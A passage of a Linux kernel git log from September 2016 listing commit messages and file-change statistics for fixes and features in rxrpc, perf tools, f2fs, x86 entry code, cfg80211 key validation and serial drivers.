changed, 4 insertions(+), 4 deletions(-) commit b25de3605339c94a6c27d42efe8f7748ea206a8b Author: David Howells Date: Tue Sep 13 22:36:22 2016 +0100 rxrpc: Add missing unlock in rxrpc_call_accept() Add a missing unlock in rxrpc_call_accept() in the path taken if there's no call to wake up. Signed-off-by: David Howells net/rxrpc/call_accept.c | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) commit 33b603fda815faf12f66156a49b510126fac984b Author: David Howells Date: Tue Sep 13 22:36:21 2016 +0100 rxrpc: Requeue call for recvmsg if more data rxrpc_recvmsg() needs to make sure that the call it has just been processing gets requeued for further attention if the buffer has been filled and there's more data to be consumed. The softirq producer only queues the call and wakes the socket if it fills the first slot in the window, so userspace might end up sleeping forever otherwise, despite there being data available. This is not a problem provided the userspace buffer is big enough or it empties the buffer completely before more data comes in. Signed-off-by: David Howells net/rxrpc/recvmsg.c | 4 ++++ 1 file changed, 4 insertions(+) commit 91c2c7b656a80984362dbcb3d326e4a7274d0607 Author: David Howells Date: Tue Sep 13 22:36:21 2016 +0100 rxrpc: The IDLE ACK packet should use rxrpc_idle_ack_delay The IDLE ACK packet should use the rxrpc_idle_ack_delay setting when the timer is set for it. Signed-off-by: David Howells net/rxrpc/call_event.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit bc4abfcf51835420d61440b2b7aa18181bc1f273 Author: David Howells Date: Tue Sep 13 22:36:21 2016 +0100 rxrpc: Add missing wakeup on Tx window rotation We need to wake up the sender when Tx window rotation due to an incoming ACK makes space in the buffer otherwise the sender is liable to just hang endlessly. This problem isn't noticeable if the Tx phase transfers no more than will fit in a single window or the Tx window rotates fast enough that it doesn't get full. Signed-off-by: David Howells net/rxrpc/input.c | 2 ++ 1 file changed, 2 insertions(+) commit 08a39685a771b4b1108889ea5e4e0a71b51782ba Author: David Howells Date: Tue Sep 13 22:36:21 2016 +0100 rxrpc: Make sure we initialise the peer hash key Peer records created for incoming connections weren't getting their hash key set. This meant that incoming calls wouldn't see more than one DATA packet - which is not a problem for AFS CM calls with small request data blobs. Signed-off-by: David Howells net/rxrpc/peer_object.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 21ca6d2c52f8ca8638129c1dfc489d0b0ae68532 Author: Rafael J. Wysocki Date: Sat Sep 10 00:00:31 2016 +0200 cpufreq: schedutil: Add iowait boosting Modify the schedutil cpufreq governor to boost the CPU frequency if the SCHED_CPUFREQ_IOWAIT flag is passed to it via cpufreq_update_util(). If that happens, the frequency is set to the maximum during the first update after receiving the SCHED_CPUFREQ_IOWAIT flag and then the boost is reduced by half during each following update. Signed-off-by: Rafael J. Wysocki Looks-good-to: Steve Muckle Acked-by: Peter Zijlstra (Intel) kernel/sched/cpufreq_schedutil.c | 53 +++++++++++++++++++++++++++++++++++++--- 1 file changed, 49 insertions(+), 4 deletions(-) commit 8c34ab1910a79319731107ec8ecd2e80893ea30c Author: Rafael J. Wysocki Date: Fri Sep 9 23:59:33 2016 +0200 cpufreq / sched: SCHED_CPUFREQ_IOWAIT flag to indicate iowait condition Testing indicates that it is possible to improve performace significantly without increasing energy consumption too much by teaching cpufreq governors to bump up the CPU performance level if the in_iowait flag is set for the task in enqueue_task_fair(). For this purpose, define a new cpufreq_update_util() flag SCHED_CPUFREQ_IOWAIT and modify enqueue_task_fair() to pass that flag to cpufreq_update_util() in the in_iowait case. That generally requires cpufreq_update_util() to be called directly from there, because update_load_avg() may not be invoked in that case. Signed-off-by: Rafael J. Wysocki Looks-good-to: Steve Muckle Acked-by: Peter Zijlstra (Intel) include/linux/sched.h | 1 + kernel/sched/fair.c | 8 ++++++++ 2 files changed, 9 insertions(+) commit 9b6a9ecc2d88ccdc57efc22d69436b9dd7e2eceb Author: Wei Yongjun Date: Sat Sep 10 07:43:48 2016 +0000 selinux: fix error return code in policydb_read() Fix to return error code -EINVAL from the error handling case instead of 0 (rc is overwrite to 0 when policyvers >= POLICYDB_VERSION_ROLETRANS), as done elsewhere in this function. Signed-off-by: Wei Yongjun [PM: normalize "selinux" in patch subject, description line wrap] Signed-off-by: Paul Moore security/selinux/ss/policydb.c | 1 + 1 file changed, 1 insertion(+) commit 905933af8924dc4e93aea5f9dadb61049b0c5325 Author: Alexandre TORGUE Date: Tue Sep 13 15:28:12 2016 +0200 pinctrl: Fix "st,syscfg" definition for STM32 pinctrl "st,syscfg" entry was bad described. Signed-off-by: Alexandre TORGUE Signed-off-by: Linus Walleij Documentation/devicetree/bindings/pinctrl/st,stm32-pinctrl.txt | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit eb4ec68acf5ebb312d29840287e465d3d414b07e Author: Deepak Date: Tue Sep 13 12:43:04 2016 +0530 driver: base: pinctrl: return error from pinctrl_bind_pins() strict pin controller returns -EINVAL in case of pin request which is already claimed by somebody else. Following is the sequence of calling pin_request() from pinctrl_bind_pins():- pinctrl_bind_pins()->pinctrl_select_state()->pinmux_enable_setting()-> pin_request() But pinctrl_bind_pins() only returns -EPROBE_DEFER which makes device driver probe successful even if the pin request is rejected by the pin controller subsystem. This commit modifies pinctrl_bind_pins() to return error if the pin is rejected by pin control subsystem. Signed-off-by: Deepak Das [Rewrote to be cleaner] Signed-off-by: Linus Walleij drivers/base/pinctrl.c | 12 ++++++++---- 1 file changed, 8 insertions(+), 4 deletions(-) commit dd60fba7324572498d91163e96b1cfe5cd5f7f3b Author: Mathieu Poirier Date: Tue Sep 6 10:37:15 2016 -0600 perf tools: Add infrastructure for PMU specific configuration This patch adds PMU driver specific configuration to the parser infrastructure by preceding any term with the '@' letter. As such doing something like: perf record -e some_event/@cfg1,@cfg2=config/ ... will see 'cfg1' and 'cfg2=config' being added to the list of evsel config terms. Token 'cfg1' and 'cfg2=config' are not processed in user space and are meant to be interpreted by the PMU driver. First the lexer/parser are supplemented with the required definitions to recognise the driver specific configuration. From there they are simply added to the list of event terms. The bulk of the work is done in function "parse_events_add_pmu()" where driver config event terms are added to a new list of driver config terms, which in turn spliced with the event's new driver configuration list. Signed-off-by: Mathieu Poirier Acked-by: Jiri Olsa Cc: Alexander Shishkin Cc: Peter Zijlstra Link: http://lkml.kernel.org/r/1473179837-3293-4-git-send-email-mathieu.poirier@linaro.org Signed-off-by: Arnaldo Carvalho de Melo tools/perf/Documentation/perf-record.txt | 12 ++++++++++++ tools/perf/util/evsel.h | 2 ++ tools/perf/util/parse-events.c | 7 ++++++- tools/perf/util/parse-events.h | 1 + tools/perf/util/parse-events.l | 22 ++++++++++++++++++++++ tools/perf/util/parse-events.y | 11 +++++++++++ 6 files changed, 54 insertions(+), 1 deletion(-) commit 649d7df29ca83b2c9e81a4a305a8de8ab02b5e9d Author: Jaegeuk Kim Date: Tue Sep 6 11:02:03 2016 -0700 f2fs: fix to set PageUptodate in f2fs_write_end correctly Previously, f2fs_write_begin sets PageUptodate all the time. But, when user tries to update the entire page (i.e., len == PAGE_SIZE), we need to consider that the page is able to be copied partially afterwards. In such the case, we will lose the remaing region in the page. This patch fixes this by setting PageUptodate in f2fs_write_end as given copied result. In the short copy case, it returns zero to let generic_perform_write retry copying user data again. As a result, f2fs_write_end() works: PageUptodate len copied return retry 1. no 4096 4096 4096 false -> return 4096 2. no 4096 1024 0 true -> goto #1 case 3. yes 2048 2048 2048 false -> return 2048 4. yes 2048 1024 1024 false -> return 1024 Suggested-by: Al Viro Signed-off-by: Jaegeuk Kim fs/f2fs/data.c | 29 +++++++++++++++++++---------- 1 file changed, 19 insertions(+), 10 deletions(-) commit 61e4da1172d18f5277be847a40559eacd3169ce7 Author: Fan Li Date: Sat Sep 10 11:19:37 2016 +0800 f2fs: fix parameters of __exchange_data_block __exchange_data_block should take block indexes as parameters instead of offsets in bytes. Signed-off-by: Fan li Signed-off-by: Jaegeuk Kim fs/f2fs/file.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit 9512929608891830f4194e1959b667b43d86e619 Author: Chao Yu Date: Fri Sep 9 08:38:20 2016 +0800 MAINTAINERS: update f2fs entry This patch includes below modifications: 1. change my maintainership from reviewer to maintainer. 2. remove maintainership of Changman Lee since he is not active about one and a half year. 3. change website of f2fs from wiki to kernel one. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim MAINTAINERS | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) commit e8ea9b3d7e278d2ef4b60e703f780ceee70cb331 Author: Jaegeuk Kim Date: Fri Sep 9 16:59:39 2016 -0700 f2fs: avoid ENOMEM during roll-forward recovery This patch gives another chances during roll-forward recovery regarding to -ENOMEM. Signed-off-by: Jaegeuk Kim fs/f2fs/f2fs.h | 1 + fs/f2fs/inode.c | 15 +++++++++++++++ fs/f2fs/node.c | 8 +++++--- fs/f2fs/recovery.c | 34 +++++++++++++++++++++------------- 4 files changed, 42 insertions(+), 16 deletions(-) commit 30d476ae738d1ce33f170dd79398ecd211274df6 Author: Namhyung Kim Date: Tue Sep 13 16:45:52 2016 +0900 perf report: Enable group view with hierarchy Now that all the missing pieces are implemented, let's enable it. An example output below: $ perf record -e '{cycles,instructions}' make $ perf report --hierarchy --stdio ... # Overhead Command / Shared Object / Symbol # ...................... .................................. # ... 25.74% 27.18% sh 19.96% 24.14% libc-2.24.so 9.55% 14.64% [.] __strcmp_sse2 1.54% 0.00% [.] __tfind 1.07% 1.13% [.] _int_malloc 0.95% 0.00% [.] __strchr_sse2 0.89% 1.39% [.] __tsearch 0.76% 0.00% [.] strlen ... Signed-off-by: Namhyung Kim Requested-by: Andi Kleen Tested-by: Arnaldo Carvalho de Melo Cc: Jiri Olsa Cc: Peter Zijlstra Link: http://lkml.kernel.org/r/20160913074552.13284-8-namhyung@kernel.org Signed-off-by: Arnaldo Carvalho de Melo tools/perf/builtin-report.c | 1 - 1 file changed, 1 deletion(-) commit 195bc0f8443d8d564ae95d2e9c19ac0edfd647c3 Author: Namhyung Kim Date: Tue Sep 13 16:45:50 2016 +0900 perf ui/stdio: Rename print_hierarchy_header() Now the hists__fprintf_hierarchy_headers() is a simple wrapper passing field separator. Let's do it directly. Signed-off-by: Namhyung Kim Cc: Andi Kleen Cc: Jiri Olsa Cc: Peter Zijlstra Link: http://lkml.kernel.org/r/20160913074552.13284-6-namhyung@kernel.org Signed-off-by: Arnaldo Carvalho de Melo tools/perf/ui/stdio/hist.c | 13 +++---------- 1 file changed, 3 insertions(+), 10 deletions(-) commit 9a6ad25b5a2026ba1399abc879ec623957867e79 Author: Namhyung Kim Date: Tue Sep 13 16:45:49 2016 +0900 perf ui/stdio: Always reset output width for hierarchy When the --hierarchy option is used, each entry has its own hpp_list to show the result. But it is not updating the width of each column for perf-top. The perf-report command has no problem since it resets it during header display. $ sudo perf top --hierarchy --stdio PerfTop: 160 irqs/sec kernel:38.8% exact: 100.0% [4000Hz cycles:pp], (all, 12 CPUs) ---------------------------------------------------------------------- 52.32% perf 24.74% [.] __symbols__insert 5.62% [.] rb_next 5.14% [.] dso__load_sym Move the code into hists__fprintf() so that it can be called always. Also it'd be better to put similar code together. Signed-off-by: Namhyung Kim Tested-by: Arnaldo Carvalho de Melo Cc: Andi Kleen Cc: Jiri Olsa Cc: Peter Zijlstra Fixes: 1b2dbbf41a0f ("perf hists: Use own hpp_list for hierarchy mode") Link: http://lkml.kernel.org/r/20160913074552.13284-5-namhyung@kernel.org Signed-off-by: Arnaldo Carvalho de Melo tools/perf/ui/stdio/hist.c | 14 ++++++-------- 1 file changed, 6 insertions(+), 8 deletions(-) commit d2580c7a5b4e78bffda1e53cfd583e7a2c7383a5 Author: Namhyung Kim Date: Tue Sep 13 16:45:48 2016 +0900 perf hist: Initialize hierarchy tree explicitly The hroot_in and hroot_out are roots of hierarchy trees of hist entries. But when a hist entry is initialized by copying existing template entry, it sometimes has non-empty tree and copies it incorrectly. This is a problem especially when an event group is used since it creates dummy entries from already-processed entries in other event members. Signed-off-by: Namhyung Kim Cc: Andi Kleen Cc: Jiri Olsa Cc: Peter Zijlstra Link: http://lkml.kernel.org/r/20160913074552.13284-4-namhyung@kernel.org Signed-off-by: Arnaldo Carvalho de Melo tools/perf/util/hist.c | 2 ++ 1 file changed, 2 insertions(+) commit 9d97b8f512a0dd41819b8e3d9cdc7a59199e1b0c Author: Namhyung Kim Date: Tue Sep 13 16:45:47 2016 +0900 perf hists: Introduce hists__link_hierarchy() The hists__link_hierarchy() is to support hierarchy reports with an event group. When it matches the leader event and the other members (using hists__match_hierarchy()), it also needs to link unmatched member entries with a dummy leader event so that it can show up in the output. Signed-off-by: Namhyung Kim Cc: Andi Kleen Cc: Jiri Olsa Cc: Peter Zijlstra Link: http://lkml.kernel.org/r/20160913074552.13284-3-namhyung@kernel.org Signed-off-by: Arnaldo Carvalho de Melo tools/perf/util/hist.c | 95 ++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 95 insertions(+) commit 09034de63e427a86ba96bedf39410eef7c9014a5 Author: Namhyung Kim Date: Tue Sep 13 16:45:46 2016 +0900 perf hists: Introduce hists__match_hierarchy() The hists__match_hierarchy() is to find matching hist entries in a group. A matching entry has the same values for all sort keys given. With an event group (e.g.: -e "{cycles,instructions}"), a leader event should show other members in a group. So each entry in the leader should be able to find its pair entries which have same values. With hierarchy mode, it needs to search all matching children in a hierarchy. An example output looks like: # Overhead Command / Shared Object / Symbol # ...................... .................................. # 25.74% 27.18% sh 19.96% 24.14% libc-2.24.so 9.55% 14.64% [.] __strcmp_sse2 1.54% 0.00% [.] __tfind 1.07% 1.13% [.] _int_malloc ... In the above example, two overheads are shown - one for the leader and another for the other group member. They were matched since their command, dso and symbol have the same values. Signed-off-by: Namhyung Kim Cc: Andi Kleen Cc: Jiri Olsa Cc: Peter Zijlstra Link: http://lkml.kernel.org/r/20160913074552.13284-2-namhyung@kernel.org Signed-off-by: Arnaldo Carvalho de Melo tools/perf/util/hist.c | 51 ++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 51 insertions(+) commit 0a4a7e435f458e996d0f21a9ebc964e0b0d64eba Author: Wang Nan Date: Mon Sep 12 12:54:31 2016 +0000 perf build: Compare mman.h related headers against kernel originals As with other cloned headers, compare the newly introduced mman related headers against their source copy in kernel tree. Signed-off-by: Wang Nan Cc: Zefan Li Cc: pi3orama@163.com Link: http://lkml.kernel.org/r/1473684871-209320-4-git-send-email-wangnan0@huawei.com [ Added -I to ignore the uapi/ difference ] Signed-off-by: Arnaldo Carvalho de Melo tools/perf/Makefile.perf | 9 +++++++++ 1 file changed, 9 insertions(+) commit f148b41e8b2e114d0aba023adf326b03368f3246 Author: Masahiro Yamada Date: Sun Sep 11 14:58:21 2016 +0900 x86: Clean up various simple wrapper functions Remove unneeded variables and assignments. While we are here, let's fix the following as well: - Remove unnecessary parentheses - Remove unnecessary unsigned-suffix 'U' from constant values - Reword the comment in set_apic_id() (suggested by Thomas Gleixner) Signed-off-by: Masahiro Yamada Cc: Alex Thorlton Cc: Andrew Banman Cc: Borislav Petkov Cc: Daniel J Blueman Cc: Denys Vlasenko Cc: Dimitri Sivanich Cc: Linus Torvalds Cc: Matt Fleming Cc: Mike Travis Cc: Nathan Zimmer Cc: Paul Gortmaker Cc: Peter Zijlstra Cc: Steffen Persvold Cc: Thomas Gleixner Cc: Toshi Kani Cc: Wei Jiangang Link: http://lkml.kernel.org/r/1473573502-27954-1-git-send-email-yamada.masahiro@socionext.com Signed-off-by: Ingo Molnar arch/x86/kernel/apic/apic_flat_64.c | 16 +++------------- arch/x86/kernel/apic/apic_numachip.c | 5 +---- arch/x86/kernel/apic/x2apic_uv_x.c | 7 ++----- arch/x86/mm/pat_rbtree.c | 4 +--- arch/x86/platform/uv/bios_uv.c | 7 ++----- arch/x86/platform/uv/tlb_uv.c | 6 +----- 6 files changed, 10 insertions(+), 35 deletions(-) commit 85063fac1f72419eec4349621fe829b07f9acb1e Author: Andy Lutomirski Date: Mon Sep 12 15:05:51 2016 -0700 x86/entry/64: Clean up and document espfix64 stack setup The espfix64 setup code was a bit inscrutible and contained an unnecessary push of RAX. Remove that push, update all the stack offsets to match, and document the whole mess. Reported-By: Borislav Petkov Signed-off-by: Andy Lutomirski Reviewed-by: Borislav Petkov Cc: Borislav Petkov Cc: Brian Gerst Cc: Denys Vlasenko Cc: H. Peter Anvin Cc: Josh Poimboeuf Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/e5459eb10cf1175c8b36b840bc425f210d045f35.1473717910.git.luto@kernel.org Signed-off-by: Ingo Molnar arch/x86/entry/entry_64.S | 64 +++++++++++++++++++++++++++++++++++++++-------- 1 file changed, 53 insertions(+), 11 deletions(-) commit 1ef0199a1a698d82ecd39d11d1daa3f4ab006c75 Author: Andy Lutomirski Date: Mon Sep 12 15:05:50 2016 -0700 selftests/x86/sigreturn: Use CX, not AX, as the scratch register RAX is handled specially in ESPFIX64. Use CX as our scratch register so that, if something goes wrong with RAX handling, we'll notice. Signed-off-by: Andy Lutomirski Reviewed-by: Borislav Petkov Cc: Borislav Petkov Cc: Brian Gerst Cc: Denys Vlasenko Cc: H. Peter Anvin Cc: Josh Poimboeuf Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Shuah Khan Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/9ceeb24ea56925586c330dc46306f757ddea9fb5.1473717910.git.luto@kernel.org Signed-off-by: Ingo Molnar tools/testing/selftests/x86/sigreturn.c | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) commit d59dc7bcfa649ef2128a76b6487b16f4b3f14d23 Author: Rik van Riel Date: Thu Sep 8 21:30:53 2016 -0400 sched/numa, mm: Revert to checking pmd/pte_write instead of VMA flags Commit: 4d9424669946 ("mm: convert p[te|md]_mknonnuma and remaining page table manipulations") changed NUMA balancing from _PAGE_NUMA to using PROT_NONE, and was quickly found to introduce a regression with NUMA grouping. It was followed up by these commits: 53da3bc2ba9e ("mm: fix up numa read-only thread grouping logic") bea66fbd11af ("mm: numa: group related processes based on VMA flags instead of page table flags") b191f9b106ea ("mm: numa: preserve PTE write permissions across a NUMA hinting fault") The first of those two commits try alternate approaches to NUMA grouping, which apparently do not work as well as looking at the PTE write permissions. The latter patch preserves the PTE write permissions across a NUMA protection fault. However, it forgets to revert the condition for whether or not to group tasks together back to what it was before v3.19, even though the information is now preserved in the page tables once again. This patch brings the NUMA grouping heuristic back to what it was before commit 4d9424669946, which the changelogs of subsequent commits suggest worked best. We have all the information again. We should probably use it. Signed-off-by: Rik van Riel Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: aarcange@redhat.com Cc: linux-mm@kvack.org Cc: mgorman@suse.de Link: http://lkml.kernel.org/r/20160908213053.07c992a9@annuminas.surriel.com Signed-off-by: Ingo Molnar mm/huge_memory.c | 2 +- mm/memory.c | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) commit fbef103fad5009827965b10aedbecb1786904f4d Author: Arnaldo Carvalho de Melo Date: Mon Sep 12 16:47:57 2016 -0300 perf tools: Do hugetlb handling in more systems The csets: 0ac3348e5024 ("perf tools: Recognize hugetlb mapping as anon mapping") d7e404af115b ("perf record: Mark MAP_HUGETLB when synthesizing mmap events") Added code conditional on MAP_HUGETLB, to make it build in older systems where that define wasn't available. Now that we grabbed copies of uapi/linux/mmap.h to have all those definitions in tools/, use it so that we can support building the tools for older systems (without the MAP_HUGETLB define in its libc headers) using new kernels that support such maps. Cc: Adrian Hunter Cc: David Ahern Cc: Jiri Olsa Cc: Namhyung Kim Cc: Wang Nan Cc: Zefan Li Link: http://lkml.kernel.org/n/tip-wv6oqbfkpxbix4umj2kcfmaz@git.kernel.org Signed-off-by: Arnaldo Carvalho de Melo tools/perf/util/event.c | 7 ++----- tools/perf/util/map.c | 9 ++------- 2 files changed, 4 insertions(+), 12 deletions(-) commit 277cf08f3febd9d0921f4ff1b46fd5d294fe3942 Author: Arnaldo Carvalho de Melo Date: Mon Sep 12 16:27:32 2016 -0300 perf trace beauty mmap: Fix defines for non !x86_64 Several defines have different values in different arches, so we can't just define it to the x86_64 value, use uapi/linux/mmap.h that was recently introduced to reliably find those, not using possibly outdated libc headers. Cc: Adrian Hunter Cc: David Ahern Cc: Jiri Olsa Cc: Namhyung Kim Cc: Wang Nan Cc: Zefan Li Link: http://lkml.kernel.org/n/tip-4eajp5yp8i2fuw44n7jmcg5t@git.kernel.org Signed-off-by: Arnaldo Carvalho de Melo tools/perf/trace/beauty/mmap.c | 71 +----------------------------------------- 1 file changed, 1 insertion(+), 70 deletions(-) commit f3539c12d8196ce0a1993364d30b3a18908470d1 Author: Wang Nan Date: Mon Sep 12 12:54:29 2016 +0000 tools include: Add uapi mman.h for each architecture Some mmap related macros have different values for different architectures. This patch introduces uapi mman.h for each architectures. Three headers are cloned from kernel include to tools/include: tools/include/uapi/asm-generic/mman-common.h tools/include/uapi/asm-generic/mman.h tools/include/uapi/linux/mman.h The main part of this patch is generated by following script: macros=`cat $0 | awk 'V==1 {print}; /^# start macro list/ {V=1}'` for arch in `ls tools/arch` do [ -d tools/arch/$arch/include/uapi/asm ] || mkdir -p tools/arch/$arch/include/uapi/asm src=arch/$arch/include/uapi/asm/mman.h target=tools/arch/$arch/include/uapi/asm/mman.h guard="TOOLS_ARCH_"`echo $arch | awk '{print toupper($0)}'`_UAPI_ASM_MMAN_FIX_H echo '#ifndef '$guard > $target echo '#define '$guard >> $target [ -f $src ] && for m in $macros do if grep '#define[ \t]*'$m $src > /dev/null 2>&1 then grep -h '#define[ \t]*'$m $src | sed 's/[ \t]*\/\*.*$//g' >> $target fi done if [ -f $src ] then grep '#include > $target else echo "#include " >> $target fi echo '#endif' >> $target echo "$target" done exit 0 # Following macros are extracted from: # tools/perf/trace/beauty/mmap.c # # start macro list MADV_DODUMP MADV_DOFORK MADV_DONTDUMP MADV_DONTFORK MADV_DONTNEED MADV_HUGEPAGE MADV_HWPOISON MADV_MERGEABLE MADV_NOHUGEPAGE MADV_NORMAL MADV_RANDOM MADV_REMOVE MADV_SEQUENTIAL MADV_SOFT_OFFLINE MADV_UNMERGEABLE MADV_WILLNEED MAP_32BIT MAP_ANONYMOUS MAP_DENYWRITE MAP_EXECUTABLE MAP_FILE MAP_FIXED MAP_GROWSDOWN MAP_HUGETLB MAP_LOCKED MAP_NONBLOCK MAP_NORESERVE MAP_POPULATE MAP_PRIVATE MAP_SHARED MAP_STACK MAP_UNINITIALIZED MREMAP_FIXED MREMAP_MAYMOVE PROT_EXEC PROT_GROWSDOWN PROT_GROWSUP PROT_NONE PROT_READ PROT_SEM PROT_WRITE Signed-off-by: Wang Nan Cc: Zefan Li Cc: pi3orama@163.com Link: http://lkml.kernel.org/r/1473684871-209320-2-git-send-email-wangnan0@huawei.com [ Added new files to tools/perf/MANIFEST to fix the detached tarball build, add mman.h for ARC ] Signed-off-by: Arnaldo Carvalho de Melo tools/arch/alpha/include/uapi/asm/mman.h | 38 ++++++++++++++ tools/arch/arc/include/uapi/asm/mman.h | 4 ++ tools/arch/arm/include/uapi/asm/mman.h | 4 ++ tools/arch/arm64/include/uapi/asm/mman.h | 4 ++ tools/arch/frv/include/uapi/asm/mman.h | 4 ++ tools/arch/h8300/include/uapi/asm/mman.h | 4 ++ tools/arch/hexagon/include/uapi/asm/mman.h | 4 ++ tools/arch/ia64/include/uapi/asm/mman.h | 4 ++ tools/arch/m32r/include/uapi/asm/mman.h | 4 ++ tools/arch/microblaze/include/uapi/asm/mman.h | 4 ++ tools/arch/mips/include/uapi/asm/mman.h | 39 ++++++++++++++ tools/arch/mn10300/include/uapi/asm/mman.h | 4 ++ tools/arch/parisc/include/uapi/asm/mman.h | 38 ++++++++++++++ tools/arch/powerpc/include/uapi/asm/mman.h | 13 +++++ tools/arch/s390/include/uapi/asm/mman.h | 4 ++ tools/arch/score/include/uapi/asm/mman.h | 4 ++ tools/arch/sh/include/uapi/asm/mman.h | 4 ++ tools/arch/sparc/include/uapi/asm/mman.h | 13 +++++ tools/arch/tile/include/uapi/asm/mman.h | 13 +++++ tools/arch/x86/include/uapi/asm/mman.h | 5 ++ tools/arch/xtensa/include/uapi/asm/mman.h | 38 ++++++++++++++ tools/include/uapi/asm-generic/mman-common.h | 75 +++++++++++++++++++++++++++ tools/include/uapi/asm-generic/mman.h | 22 ++++++++ tools/include/uapi/linux/mman.h | 13 +++++ tools/perf/MANIFEST | 4 ++ 25 files changed, 363 insertions(+) commit 5465fe0fc3316f7cdda66732a7986f4ebe76d949 Merge: cbf2f8a 0a637ee Author: Ingo Molnar Date: Tue Sep 13 20:21:55 2016 +0200 Merge tag 'efi-next' of git://git.kernel.org/pub/scm/linux/kernel/git/mfleming/efi into efi/core Pull EFI updates from Matt Fleming: "* Refactor the EFI memory map code into architecture neutral files and allow drivers to permanently reserve EFI boot services regions on x86, as well as ARM/arm64 - Matt Fleming * Add ARM support for the EFI esrt driver - Ard Biesheuvel * Make the EFI runtime services and efivar API interruptible by swapping spinlocks for semaphores - Sylvain Chouleur * Provide the EFI identity mapping for kexec which allows kexec to work on SGI/UV platforms with requiring the "noefi" kernel command line parameter - Alex Thorlton * Add debugfs node to dump EFI page tables on arm64 - Ard Biesheuvel * Merge the EFI test driver being carried out of tree until now in the FWTS project - Ivan Hu * Expand the list of flags for classifying EFI regions as "RAM" on arm64 so we align with the UEFI spec - Ard Biesheuvel * Optimise out the EFI mixed mode if it's unsupported (CONFIG_X86_32) or disabled (CONFIG_EFI_MIXED=n) and switch the early EFI boot services function table for direct calls, alleviating us from having to maintain the custom function table - Lukas Wunner * Miscellaneous cleanups and fixes" Signed-off-by: Ingo Molnar commit 89b706fb28e431fa7639348536c284fb375eb3c0 Author: Johannes Berg Date: Tue Sep 13 16:39:38 2016 +0200 cfg80211: reduce connect key caching struct size After the previous patches, connect keys can only (correctly) be used for storing static WEP keys. Therefore, remove all the data for dealing with key index 4/5 and reduce the size of the key material to the maximum for WEP keys. Signed-off-by: Johannes Berg net/wireless/core.h | 6 +++--- net/wireless/ibss.c | 6 ++---- net/wireless/nl80211.c | 1 - net/wireless/util.c | 5 +---- net/wireless/wext-compat.c | 6 +++--- net/wireless/wext-sme.c | 3 +-- 6 files changed, 10 insertions(+), 17 deletions(-) commit e9c8f8d3a4d54106a30f2b981b53d658c9bc0c8e Author: Johannes Berg Date: Tue Sep 13 16:37:40 2016 +0200 cfg80211: validate key index better Don't accept it if a key_idx < 0 snuck through, reject WEP keys with key index 4 and 5 (which are used for IGTKs) and don't allow IGTKs with key indices other than 4 and 5. This makes the key data match expectations better. Signed-off-by: Johannes Berg net/wireless/util.c | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) commit 9381e267b69acfea96c8429dc99da3e78835cef1 Author: Johannes Berg Date: Tue Sep 13 16:11:32 2016 +0200 cfg80211: wext: only allow WEP keys to be configured before connected When not connected, anything but WEP keys shouldn't be allowed to be configured for later - only static WEP keys make sense at this point. Change wext to reject anything else just like nl80211 does. Signed-off-by: Johannes Berg net/wireless/wext-compat.c | 3 +++ 1 file changed, 3 insertions(+) commit 386b1f273850380a1887044673922843736c6d0a Author: Johannes Berg Date: Tue Sep 13 16:10:02 2016 +0200 nl80211: only allow WEP keys during connect command This was already documented that way in nl80211.h, but the parsing code still accepted other key types. Change it to really only accept WEP keys as documented. Signed-off-by: Johannes Berg net/wireless/nl80211.c | 13 ++++++++----- 1 file changed, 8 insertions(+), 5 deletions(-) commit 42ee231cd12c2e1eb015163d04a65950e895d4b7 Author: Johannes Berg Date: Tue Sep 13 15:51:03 2016 +0200 nl80211: fix connect keys range check Only key index 0-3 should be accepted, 4/5 are for IGTKs and cannot be used as connect keys. Fix the range checking to not allow such erroneous configurations. Signed-off-by: Johannes Berg net/wireless/nl80211.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit b6b5555bc89f52e49244104ca4d7764c7b0f11cd Author: Johannes Berg Date: Tue Sep 13 16:25:58 2016 +0200 cfg80211: disallow shared key authentication with key index 4 Key index 4 can only be used for an IGTK, so the range checks for shared key authentication should treat 4 as an error, fix that in the code. Signed-off-by: Johannes Berg net/wireless/mlme.c | 2 +- net/wireless/nl80211.c | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) commit 0d2665b6bcfd6b7df828582a0b8a12d29691b66d Author: Wei Yongjun Date: Sat Sep 10 12:22:17 2016 +0000 serial: mxs-auart: Use PTR_ERR_OR_ZERO() to simplify the code Use PTR_ERR_OR_ZERO rather than if(IS_ERR(...)) + PTR_ERR. Generated by: scripts/coccinelle/api/ptr_ret.cocci Signed-off-by: Wei Yongjun Signed-off-by: Greg Kroah-Hartman drivers/tty/serial/mxs-auart.c | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) commit 5d7519dfc963ec8b6a10a51356840580fc005a1e Author: Fabio Estevam Date: Fri Sep 9 08:31:33 2016 -0300 serial: mxs-auart: Disable clock on error path We should disable the previously acquired clock when enabling s->clk fails. Signed-off-by: Fabio Estevam Reviewed-by: Uwe Kleine-König Signed-off-by: Greg Kroah-Hartman drivers/tty/serial/mxs-auart.c | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) commit 8b2303de399f66b0da2c7e5bcc8296be574766f1 Author: Alexander Sverdlin Date: Mon Sep 12 13:29:29 2016 +0200 serial: core: Fix handling of options after MMIO address Guenter Roeck reported a regression caused by commit "serial: earlycon: Extend earlycon command line option to support 64-bit addresses": console= and earlycon= options have the following format: ...,, Historically used here simple_strtoul() had no problems with comma, but the new and recommended kstrtoull() requires null-terminated string and returns -EINVAL in case there are "options" at the end. There is no recommended to use function currently that will support it, so stick to obsolete simple_strtoull() variant. Signed-off-by: Alexander Sverdlin Reported-by: Guenter Roeck Reviewed-by: Guenter Roeck 